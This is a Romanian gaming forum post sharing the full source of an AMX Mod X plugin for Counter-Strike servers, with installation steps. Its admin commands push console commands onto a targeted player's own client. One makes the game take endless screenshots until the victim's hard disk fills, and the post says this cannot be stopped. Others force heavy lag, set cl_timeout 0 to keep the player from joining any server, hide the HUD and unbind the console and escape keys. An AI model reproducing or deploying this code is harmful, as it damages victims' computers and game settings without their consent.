Rank: Moderator Status: Posturi : 1146 Reputatie : 36 Data de Inscriere : 09/02/2014 Oras : RGZ City Varsta : 25
| Subiect: Sol Codat V2 Sam Aug 16, 2014 2:52 pm |
|
| Descriere: Precum stim pluginu amx_fuckoff care este pentru codati, acest plugin facut de mine este aproape la fel, numai ca nu creeaza lag si este foarte folositor! In versiunea 2 am optimizat codu cat am putut eu si am adaugat 2 comenzi in plus destul de importante! Sunt 4 comenzi,sunt pentru cei care au accesul ADMIN_BAN Nume: Sol Codat V2 Versiune: 1.2 - Cod:
-
#include <amxmodx> #include <amxmisc>
#define TASK_N 45629 #define bZ 45630
new bool:bCmd = false
public plugin_init() { register_plugin("Sol_codat","1.2","mut2nt") register_concmd("amx_hud" , "cmdhud" , ADMIN_BAN , "<nick> : Ii dispare radaru si tot de pe ecran") register_concmd("amx_quit", "cmdquit",ADMIN_BAN, "<nick> : Numai ii da voie jucatorului sa se conecteze pe nici un server") register_concmd("amx_lag","cmdlag",ADMIN_BAN,"<nick> : Ii face jucatorului lag urias.") register_concmd("amx_s","cmds",ADMIN_BAN,"<nick> : Face ca jucatorul sa ia screenshoturi pana i se umple hardu, *NU SE POATE SCOATE* ") }
public cmdhud(id, level, cid) { if(!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
static arg[32] read_argv(1, arg, 31); new player = cmd_target(id, arg, 0);
if(!player) return PLUGIN_HANDLED;
static Admin[32], name2[32] get_user_name(id,Admin,31) get_user_name(player,name2, 31)
client_cmd(player,"clear; hud_draw 0; cl_observercrosshair 0; crosshair 0; r_drawviewmodel 0; hideradar; net_graph 0; scr_centertime 0")
log_amx("Admin %s: Task no-hud %s",Admin, name2) client_print(0, print_chat, "[Admin] %s: Task no-hud %s", Admin, name2)
return PLUGIN_HANDLED; }
public cmdquit(id,level,cid) { if (!cmd_access(id,level,cid,2)) return PLUGIN_HANDLED
static arg[32] read_argv(1,arg,31) new player = cmd_target(id,arg,9)
if (!player) return PLUGIN_HANDLED
static Admin[32], name2[32] get_user_name(id,Admin,31) get_user_name(player,name2, 31)
client_cmd(player,"cl_timeout 0")
log_amx("Admin %s: Task amx_quit %s",Admin, name2) client_print(0, print_chat, "[Admin] %s: Task quit %s", Admin, name2)
return PLUGIN_HANDLED }
public cmds(id,level,cid) { if (!cmd_access(id,level,cid,2)) return PLUGIN_HANDLED
if (bCmd) { waittimer(id) return PLUGIN_HANDLED }
static Admin[32], name2[32], arg[32] read_argv(1,arg,31) new player = cmd_target(id,arg,1) get_user_name(player,name2,31) get_user_name(id,Admin,31) if(!player) return PLUGIN_HANDLED
client_cmd(player,"developer 1") client_cmd(player,"unbind `; unbind ~;unbind escape") new parms[1] parms[0] = player set_task(1.0,"spank_timer",1337+id,parms,1) log_amx("Admin %s: Task amx_s %s",Admin, name2) client_print(0, print_chat, "[Admin] %s: Task amx_s %s", Admin, name2)
bCmd = true waittimer(id)
return PLUGIN_HANDLED }
public spank_timer(parms[]) { new victim = parms[0]
if(!is_user_connected(victim)) return PLUGIN_HANDLED
client_cmd(victim,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait") parms[0] = victim set_task(0.1,"spank_timer",1337+victim,parms,1)
return PLUGIN_CONTINUE }
public cmdlag(id,level,cid) { if (!cmd_access(id,level,cid,2)) return PLUGIN_HANDLED
if (bCmd) { waittimer(id) return PLUGIN_HANDLED }
static Admin[32], name2[32], arg[32] read_argv(1,arg,31) new player = cmd_target(id,arg,1) get_user_name(player,name2,31) get_user_name(id,Admin,31) if(!player) return PLUGIN_HANDLED
client_cmd(player,"developer 1") client_cmd(player,"rate 1;cl_cmdrate 10; cl_updaterate 10;fps_max 1") log_amx("Admin %s: Task amx_lag %s",Admin, name2) client_print(0, print_chat, "[Admin] %s: Task amx_lag %s", Admin, name2)
new pnum = 100 for (new i = 0; i < pnum; ++i) { if (is_user_connected(player)) { new parms[2] parms[0] = player parms[1] = 0 smash_user(parms) } } bCmd = true waittimer(id)
return PLUGIN_HANDLED }
public smash_user(parms[]) { new player = parms[0] new num = parms[1] if (num == 0) sleeptimer(player)
else { if (!is_user_connected(player)) return PLUGIN_HANDLED
else { client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") client_cmd(player,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait") } } return PLUGIN_CONTINUE } public sleeptimer(player) { new parm[1] parm[0] = player set_task(0.2,"resolved2",player,parm) } public resolved2(parm[]){ new player = parm[0] new parms[2] parms[0] = player parms[1] = 1 set_task(0.1,"smash_user",player + 1251,parms,2) }
public waittimer(id) { new parm[1] parm[0] = id
if (bCmd) set_task(3.0,"waittime",bZ+id,parm) }
public waittime(id) { if (task_exists(bZ+id)) remove_task(bZ+id)
bCmd = false } Instalare:1. Fisierul sol_codat.sma il puneti in addons/amxmodx/scripting 2. Fisierul sol_codat.amxx il puneti in addons/amxmodx/plugins 3. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma: 4. Alti pasi necesari.... Comenzi administrative (se tasteaza in consola si trebuie sa fiti administrator): amx_hud --> Ii dispare radaru si tot de pe ecran amx_quit --> Numai ii da voie jucatorului sa se conecteze pe nici un server amx_lag --> Ii seteaza updaterate...si fps la 4 amx_s --> Aceasta comanda ii face screenuri NELIMITATE..la orice..si la meniu..la tot! |
|